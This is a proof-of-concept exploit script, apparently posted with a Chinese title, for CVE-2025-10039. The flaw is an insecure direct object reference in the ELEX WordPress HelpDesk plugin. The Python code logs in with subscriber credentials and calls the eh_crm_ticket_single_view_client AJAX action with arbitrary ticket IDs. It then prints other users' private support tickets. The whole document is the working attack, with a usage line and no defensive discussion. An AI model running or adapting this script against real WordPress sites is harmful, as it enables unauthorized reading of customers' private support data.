CVE-2025-10039 WordPress HelpDesk工单系统IDOR漏洞

import requests import sys # CVE-2025-10039 PoC - IDOR in ELEX WordPress HelpDesk Plugin # Target: WordPress site with ELEX HelpDesk plugin <= 3.2.9 # Authentication required: Subscriber-level or higher def exploit_idor(target_url, username, password, ticket_id): """ Exploit IDOR vulnerability in eh_crm_ticket_single_view_client to read arbitrary ticket contents without proper authorization """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } # Set user agent and cookies session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return None print("[+] Login successful") # Step 2: Exploit IDOR vulnerability # The vulnerable parameter is ticket_id in the AJAX request exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'eh_crm_ticket_single_view_client', 'ticket_id': ticket_id # Manipulate this to access any ticket } resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200: print(f"[+] Ticket #{ticket_id} content retrieved:") print(resp.text) return resp.json() else: print(f"[-] Failed to retrieve ticket #{ticket_id}") return None def main(): if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <ticket_id>") print(f"Example: python {sys.argv[0]} http://example.com subscriber pass123 1") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] tid = int(sys.argv[4]) exploit_idor(target, user, pwd, tid) if __name__ == "__main__": main()